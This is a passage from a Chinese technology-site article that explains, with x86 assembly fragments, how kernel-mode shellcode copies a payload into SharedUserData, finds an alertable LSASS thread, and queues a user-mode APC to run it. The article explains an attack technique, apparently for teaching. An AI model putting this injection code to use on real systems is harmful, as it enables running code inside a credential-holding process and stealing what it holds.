扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
call @get_eip2
@get_eip2:
pop esi
mov cx, shell code-$+1
add esi, ecx ; Get shell code address
mov cx, (shell code_end-shell code) ; Shell code size
mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800
push edi
mov edi, [edi] ; Copy shell code to SharedUserData
rep movsb
pop edi
现在需要找到一个可以执行APC函数的线程。APC可以是内核模式APC或者用户模式APC,这里排队一个用户模式的APC。如果我们将要传递的线程没有处于“可报警等待状态”,那么用户模式APC将不会被调用。我前面已经简要的提到,一个线程可以通过调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx把bAlertable设置为TRUE就可以进入该状态。要找一个可用的线程需要访问该进程的ETHREAD指针,并且遍历每个线程直到找到我们所需要的线程为止。
mov edx, [edi+16] ; Pointer to EPROCESS
mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer
@find_delay:
mov ecx, [ecx] ; Get next thread
cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution?
jnz @find_delay
上面的代码首先通过EPROCESS结构的ThreadListHead LIST_ENTRY取得LSASS ETHREAD结构的指针,然后检测线程状态标志。一旦找到目标线程,我们设置EBP指向KTREAD结构,接下来我们要初始APC程序。
xor edx, edx
push edx
push 01 ; push processor
push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800)
push edx ; push NULL
push offset KROUTINE ; push KERNEL routine
push edx ; push NULL
push ebp ; push KTHREAD
push esi ; push APC object
call dword ptr _keinitializeapc ; initialize APC
我们把用户模式Shell Code(存储在SharedUserData)的EIP作为KeInitializeApc的参数,同时必须传递一个将会被调用的内核程序。我们不需要这个程序做任何事情,只需要把返回指令指向shell code就可以了,该线程的KTHREAD结构对于执行我们的APC程序也必要的,APC对象将以指针变量的形式由ESI寄存器返回。现在可以将我们的APC程序插入到目标线程的APC队列。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。